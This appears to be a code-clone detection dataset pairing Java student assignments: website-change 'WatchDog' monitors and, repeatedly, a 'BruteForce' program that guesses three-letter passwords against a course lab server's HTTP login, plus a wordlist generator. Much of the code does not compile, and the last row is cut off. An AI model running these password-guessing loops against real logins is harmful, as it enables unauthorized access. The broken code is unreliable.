F1
stringlengths
8
8
F2
stringlengths
8
8
label
int64
0
1
text_1
stringlengths
174
63k
text_2
stringlengths
174
63k
046.java
197.java
0
import java.net.*; import java.io.*; import java.util.*; import java.text.*; public class WatchDog{ public static void main (String[] args) throws InterruptedException, IOException{ String urlString = "http://www.cs.rmit.edu./students/"; String mesg = ""; boolean flag = false; InputStream rtemp; if (args.length == 2) { System.err.println ( "Usage : java BruteForce <Host> <Mailhost> <Sending E-mail>"); return; } BufferedReader rnew; BufferedReader rold = ReadFile (urlString); SaveFile("weblog",urlString); Date lasttime = CheckTime(urlString); Date newtime = new Date(); int i = 0; System.out.println("......"); while (true) { newtime = CheckTime(urlString); System.out.println ("Checking "+ new Date()); if (newtime.toString().equals(lasttime.toString())==false) { rnew = ReadFile (urlString); mesg = CompareFile(rold,rnew); SaveFile("weblog",urlString); rold = OpenFile ("weblog"); lasttime=newtime; System.out.println("Sending message"); SendMail(trimtag(mesg),args[0],args[1],args[2]); System.out.println(trimtag(mesg)); } Thread.sleep (24*3600*1000); } } private static BufferedReader ReadFile (String urlString) throws IOException{ URL url = new URL (urlString); HttpURLConnection uc = (HttpURLConnection) url.openConnection(); InputStream in = (InputStream) uc.getInputStream(); BufferedReader r = new BufferedReader (new InputStreamReader (in)); return r; } private static BufferedReader OpenFile (String FileName) throws IOException{ FileInputStream in = new FileInputStream (FileName); InputStreamReader is= new InputStreamReader (in); BufferedReader r = new BufferedReader (is); return r; } private static void SaveFile (String FileName, String urlstring) throws IOException{ String cmd = "wget -q "+urlstring+" -O "+ FileName ; Runtime.getRuntime().exec(cmd); } private static Date CheckTime (String urlString) throws IOException { URL url = new URL (urlString); HttpURLConnection uc = (HttpURLConnection) url.openConnection(); uc.setRequestMethod ("HEAD"); return (new Date (uc.getLastModified())); } private static String CompareFile (BufferedReader inold, BufferedReader innew) throws IOException{ Vector newF= new Vector (); Vector oldF= new Vector (); int old_count=0; int new_count=0; String line=""; StringBuffer mesg = new StringBuffer ("NEW CONTENT : \n"); int j; while ((line=inold.readLine())!= null){ if (line.trim().length()!=0){ oldF.addElement(line); } } while ((line=innew.readLine()) != null){ if (line.trim().length()!=0){ newF.addElement(line); } } for (int i=0; i<newF.size();i++){ j=0; while (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))==false){ j++; if (j==oldF.size()) { j--; break; } } if (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))){ newF.removeElementAt(i); i--; oldF.removeElementAt(j); } } for (int i=0; i<newF.size();i++){ mesg.append((String)(newF.elementAt(i))); mesg.append("\n"); } mesg.append("OLD CONTENT: \n"); for (int i=0; i<oldF.size();i++){ mesg.append((String)oldF.elementAt(i)); mesg.append("\n"); } return mesg.toString(); } private static void SendMail (String mesg, String host,String mailhost, String sending ) throws IOException { String send_cmd = ""; try { Socket s = new Socket (host, 25); PrintStream os = new PrintStream (s.getOutputStream()); send_cmd = "HELO " + mailhost; os.print(send_cmd + "\r\n"); send_cmd = "MAIL From : website@cs.rmit.edu."; os.print(send_cmd + "\r\n"); send_cmd = "RCPT : " + sending; os.print(send_cmd + "\r\n"); send_cmd = "DATA"; os.print(send_cmd + "\r\n"); send_cmd = ("Subject: Website Change Notice"); os.print(send_cmd + "\r\n"); os.print("\r\n"); os.print(mesg+"\r\r\n"); os.print(".\r\n"); os.print("QUIT"); } catch (IOException e) { System.out.println(e); } } private static String trimtag (String mesg){ String[] taglist = {"<a", "<A", "<applet ", "<APPLET", "<img ", "<IMG "}; String subst = ""; StringBuffer tempst= new StringBuffer(); int j = 0; int i = 0; int m = 0; while (mesg.length()!=0) { m=0; i = mesg.indexOf("<"); if (i!=-1) { tempst.append(mesg.substring(0,i)); } else { tempst.append(mesg.substring(0)); break; } j = mesg.indexOf(">"); subst=mesg.substring(i,j+1); while (subst.startsWith(taglist[m])==false) { m++; if (m==taglist.length) { m--; break; } } if (subst.startsWith(taglist[m])) tempst.append (subst); mesg = mesg.substring(j+1); } return tempst.toString(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
103.java
197.java
0
import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter = new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println("*************************************************"); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println ("Invalid URL"); return false; } catch (IOException e) { pw.println ("Error URL"); return false; } } public void getPassword() { String alps="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; String urlString="http://sec-crack.cs.rmit.edu./SEC/2/"; String login=""; String pwd=" "; startTime=System.currentTimeMillis(); for(int oneChar=0;oneChar<alps.length();oneChar++) { pwd=alps.substring(oneChar,oneChar+1); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println("Finally I gotta it, password is : "+pwd); System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds"); System.exit(1); } for(int twoChar=0;twoChar<alps.length();twoChar++) { pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println("Finally I gotta it, password is : "+pwd); System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds"); System.exit(1); } for(int threeChar=0;threeChar<alps.length();threeChar++) { pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println("Finally I gotta it, password is : "+pwd); System.out.println("The time for cracking password is: "+(finishTime-startTime)+ " milliseconds"); System.exit(1); } } } } } public static void main(String[] arguments) { BruteForce bf=new BruteForce(); bf.getPassword(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
144.java
197.java
0
import java.net.*; import java.io.*; import java.util.*; public class WatchDog extends TimerTask{ private static URL location; private static String email; private static int checktime; private static Timer timer = new Timer(); private BufferedReader input; private File checksumFile = new File("chksum.txt"); private File temp0000File = new File("temp0000"); private File kept0000File = new File("kept0000"); public WatchDog(){ timer.schedule(this, new Date(), checktime); } public void run(){ Vector imageFiles = new Vector(); Vector diffImages = new Vector(); try { System.out.println(" Time: ".concat(new Date().toString())); System.out.println("Retreiving File"); input = new BufferedReader(new InputStreamReader (location.openStream())); BufferedWriter outputFile = new BufferedWriter (new FileWriter(temp0000File)); String line = input.readLine(); while (line != null) { StringBuffer imageFileName = new StringBuffer(); if (scanForImages(line, imageFileName)) { String imageFile = new String(imageFileName); System.out.println("Detected image: ".concat(imageFile)); try { imageFiles.add(new URL(imageFile)); } catch (MalformedURLException e) { System.out.println("Image file detected. URL is malformed"); } } outputFile.write(line); outputFile.write("\n"); line = input.readLine(); } input.print(); outputFile.flush(); outputFile.print(); System.out.println(" File Retreived"); if (!imageFiles.isEmpty()) { checkImages(imageFiles, diffImages); } if (!checksumFile.exists()) { generateChecksum(temp0000File.getName(), checksumFile); } else { if (!checksumOk(checksumFile)) { reportDifferences(true, temp0000File, kept0000File, diffImages); generateChecksum(temp0000File.getName(), checksumFile); } else if (!diffImages.isEmpty()){ reportDifferences(false, null, null, diffImages); } } temp0000File.renameTo(kept0000File); System.out.println("End Time: ".concat(new Date().toString())); } catch (MalformedURLException e) { e.printStackTrace(); } catch (ConnectException e) { System.out.println("Failed connect"); System.exit(-1); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } public boolean scanForImages(String line, StringBuffer imageFileName) { String lineIgnoreCase = line.toLowerCase(); int imgPos = lineIgnoreCase.indexOf("<img "); if ( imgPos != -1 ){ int srcPos = lineIgnoreCase.indexOf("src", imgPos); int bracketPos = lineIgnoreCase.indexOf(">", imgPos); if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) { int quote1Pos = lineIgnoreCase.indexOf("\"", srcPos); int quote2Pos = lineIgnoreCase.indexOf("\"", quote1Pos+1); if (quote1Pos != -1 && quote2Pos != -1 && quote1Pos < quote2Pos && quote2Pos < bracketPos) { imageFileName.append(line.substring(quote1Pos + 1, quote2Pos)); if (imageFileName.indexOf("//") == -1 ) { String URLName = location.toString(); int slashPos = URLName.lastIndexOf("/"); URLName = URLName.substring(0, slashPos); String HostName = "http://".concat(location.getHost()); if (imageFileName.indexOf("//") == 0) { } else if (imageFileName.charAt(0) != '/') { imageFileName.insert(0, URLName.concat("/")); } else { imageFileName.insert(0, HostName); } } return true; } } } return false; } public void checkImages(Vector imageFiles, Vector diffImages) throws IOException{ System.out.println("Retrieving image "); Enumeration imageFilesEnumeration = imageFiles.elements(); while (imageFilesEnumeration.hasMoreElements()) { URL url = (URL)imageFilesEnumeration.nextElement(); try { BufferedInputStream imageInput = new BufferedInputStream (url.openStream()); String localFile = url.getFile(); int slashPosition = localFile.lastIndexOf("/"); if (slashPosition != -1) { localFile = localFile.substring(slashPosition+1); } System.out.println("Retrieving image file: ".concat(localFile)); BufferedOutputStream imageOutput = new BufferedOutputStream (new FileOutputStream(localFile)); byte bytes[] = new byte[10000]; int noBytes = imageInput.get(bytes); while (noBytes != -1) { imageOutput.write(bytes, 0, noBytes ); noBytes = imageInput.print(bytes); } File imageChecksumFile = new File(localFile.concat(".chksum.txt")); if (!imageChecksumFile.exists()) { generateChecksum(localFile, imageChecksumFile); } else { if (!checksumOk(imageChecksumFile)) { diffImages.add(localFile); generateChecksum(localFile, imageChecksumFile); } } } catch (FileNotFoundException e) { System.out.println("Unable locate URL: ".concat(url.toString())); } } } public void generateChecksum(String inputFile, File checksum){ try { System.out.println("Generating new checksum for ".concat(inputFile)); Process process = Runtime.getRuntime().exec("md5sum ". concat(inputFile)); BufferedReader execCommand = new BufferedReader(new InputStreamReader((process.getInputStream()))); BufferedWriter outputFile = new BufferedWriter(new FileWriter(checksum)); String line = execCommand.readLine(); while (line != null) { outputFile.write(line); outputFile.write("\n"); line = execCommand.readLine(); } outputFile.flush(); outputFile.print(); System.out.println("Checksum produced"); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } public boolean checksumOk(File chksumFile){ try { System.out.println("Comparing checksums using ".concat(chksumFile ,e.getName())); Process process = Runtime.getRuntime(). exec("md5sum --check ".concat(chksumFile.getName())); BufferedReader execCommand = new BufferedReader(new InputStreamReader( (process.getInputStream()))); String line = execCommand.readLine(); if (line.indexOf(": OK") != -1) { System.out.println(" the same"); return true; } } catch (IOException e) { e.printStackTrace(); System.exit(-1); } System.out.println("Differences Found"); return false; } public void reportDifferences(boolean diffsFound, File file1, File file2, Vector images){ try { System.out.println("Generating difference report"); Socket emailConnection = new Socket("yallara.cs.rmit.edu.", 25); BufferedWriter emailOutStream = new BufferedWriter (new OutputStreamWriter(emailConnection.getOutputStream())); BufferedReader emailInStream = new BufferedReader (new InputStreamReader(emailConnection.getInputStream())); String line = emailInStream.readLine(); System.out.println(line); if (!line.startsWith("220")) { System.out.println (" error occured connecting email server. Cannot send email."); } else { emailOutStream.write("HELO yallara.cs.rmit.edu."); emailOutStream.newLine(); emailOutStream.flush(); line = emailInStream.readLine(); System.out.println(line); if (!line.startsWith("250")) { System.out.println (" error occured connecting email server. Cannot send email."); } else { emailOutStream.write("MAIL FROM: watchdog@cs.rmit.edu."); emailOutStream.newLine(); emailOutStream.flush(); line = emailInStream.readLine(); System.out.println(line); if (!line.startsWith("250")) { System.out.println (" error occured sending email. Cannot send email."); } else { emailOutStream.write("RCPT : ".concat(email)); emailOutStream.newLine(); emailOutStream.flush(); line = emailInStream.readLine(); System.out.println(line); if (!line.startsWith("250")) { System.out.println (" error occured sending email. Cannot send email."); } else { emailOutStream.write("DATA"); emailOutStream.newLine(); emailOutStream.flush(); line = emailInStream.readLine(); System.out.println(line); if (!line.startsWith("354")) { System.out.println (" error occured sending email. Cannot send email."); } emailOutStream.newLine(); if (!images.isEmpty()) { emailOutStream.write ("Differences were found in the following image "); emailOutStream.newLine(); Enumeration e = images.elements(); while (e.hasMoreElements()) { String s = (String) e.nextElement(); emailOutStream.write(s); emailOutStream.newLine(); } emailOutStream.newLine(); } if (diffsFound) { String command = "diff ".concat(file1.getName().concat(" ") .concat(file2.getName())); Process process = Runtime.getRuntime().exec(command); BufferedReader execCommand = new BufferedReader (new InputStreamReader( (process.getInputStream()))); line = execCommand.readLine(); emailOutStream.write("Diffences found in file"); emailOutStream.newLine(); while (line != null) { System.out.println(line); emailOutStream.write(line); emailOutStream.newLine(); line = execCommand.readLine(); } } emailOutStream.newLine(); emailOutStream.write("."); emailOutStream.newLine(); emailOutStream.flush(); line = emailInStream.readLine(); System.out.println(line); if (!line.startsWith("250")) { System.out.println (" error occured sending email. Cannot send email."); } else { emailOutStream.write("QUIT"); emailOutStream.newLine(); emailOutStream.flush(); System.out.println(emailInStream.readLine()); } } } } } } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } public static void main(String args[]) { if (args.length != 3) { System.out.println("Usage: java WatchDog url email checktime(hours)"); System.exit(-1); } try { location = new URL(args[0]); } catch (MalformedURLException e) { e.printStackTrace(); } email = new String().concat(args[1]); checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000; new WatchDog(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
104.java
197.java
0
import java.io.*; import java.net.*; import java.Runtime; public class WatchDog { public WatchDog() {} public void getDiff() { String oldFile="oldFile.txt"; String newFile="newFile.txt"; String email="email.txt"; String cmdMail="mail -s WebChanged < "+email; String cmdCmp="diff -b " + newFile +" "+oldFile; String cmdCp="cp "+ newFile +" "+oldFile; FileWriter fw; try{ this.fetchURL(newFile); Process ps =Runtime.getRuntime().exec(cmdCmp); fw=new FileWriter(email,true); InputStream input=(InputStream)ps.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (input)); String line; while ((line = in.readLine()) != null) { fw.write(line); fw.write("\n"); } fw.close(); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec(cmdCp); } catch (IOException e) { System.out.println ("Error URL"); } } public void fetchURL(String newFile){ FileWriter fileWriter; String userPwd=":lena1018"; try{ fileWriter= new FileWriter(newFile,false); URL url=new URL("http://www.cs.rmit.edu./students"); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { fileWriter.write(line); fileWriter.write("\n"); } fileWriter.close(); } catch (MalformedURLException e) { System.out.println ("Invalid URL"); } catch (IOException e) { System.out.println ("Error URL"); } } public static void main(String[] arguments) { WatchDog wd =new WatchDog(); wd.getDiff(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
096.java
197.java
0
public class SMTPException extends Exception { private String msg; public SMTPException(String message) { msg = message; } public String getMessage() { return msg; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
075.java
197.java
0
import java.io.*; import java.net.*; public class WatchDog { public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException { final String fullurl = "http://www.cs.rmit.edu./students/"; final int waitperiod = 1000*60*60*24; final String email = "@cs.rmit.edu."; lastmodified = 0; lastmodifiedsave = 0; boolean first = true; URL url = new URL(fullurl); while(true) { URLConnection uc = url.openConnection(); lastmodified = uc.getLastModified(); if(first) { lastmodifiedsave = lastmodified; first = false; Execute ex1 = new Execute("wget -q -nc -O "+fullurl); } if(lastmodified != lastmodifiedsave) { lastmodifiedsave = lastmodified; Execute ex2 = new Execute("mv .old"); Execute ex3 = new Execute("wget -q -nc -O "+fullurl); Execute ex4 = new Execute("echo \"The "+fullurl+" was modified, here the modifications:\" > pagediff"); Execute ex5 = new Execute("diff .old >> pagediff"); Execute ex6 = new Execute("mailx -s \" modification\" \""+email+"\" < pagediff"); System.out.println("Modification notice! Check your mail."); } Thread.sleep(waitperiod); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
067.java
197.java
0
import java.*; import java.io.*; public class C { public static void main (String [] args){ try{ int m=0,n=0,w=0; String file = "passwd."; char ch1='A',ch2='A',ch3='A'; for(int i = 0 ; i < 26; i++ ) { for(w=0;w<2;w++) { if (w==1) i+=32; for(int j = 0; j< 26 ; j++) { for(n=0;n<2;n++) { if(n==1) j+=32; for(int k = 0; k<26 ; k++) { for(m=0; m<2; m++) { if(m==1) k+=32; char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)}; String str = new String(data); System.out.println(str); FileWriter fr1 = new FileWriter(file,true); BufferedWriter in1 = new BufferedWriter(fr1); in1.write(str); in1.newLine(); in1.print(); if (k>=31) k-=32; } } if(j>=31) j=j-32; } } if(i>=31) i-=32; } } } catch(IOException e) { System.out.println("try"); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
232.java
197.java
0
import java.util.*; import java.io.*; import java.*; public class WatchDog { public static void main (String [] args) throws Exception { executes("rm index.*"); executes("wget http://www.cs.rmit.edu./students"); while (true) { String addr= "wget http://www.cs.rmit.edu./students"; executes(addr); String hash1 = md5sum("index.html"); String hash2 = md5sum("index.html.1"); System.out.println(hash1 +"|"+ hash2); if (hash1.equals(hash2)) { } else { executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail1.sh"); } executes("rm index.html"); executes("cp index.html.1 index.html"); executes("rm index.html.1"); executes("sleep 86400"); } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm }); BufferedReader = new BufferedReader(new InputStreamReader(p.getErrorStream())); String s; while(( s = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String s; String hash= " "; Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash", "-c", "md5sum "+file }); BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream())); while((b = bf.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); 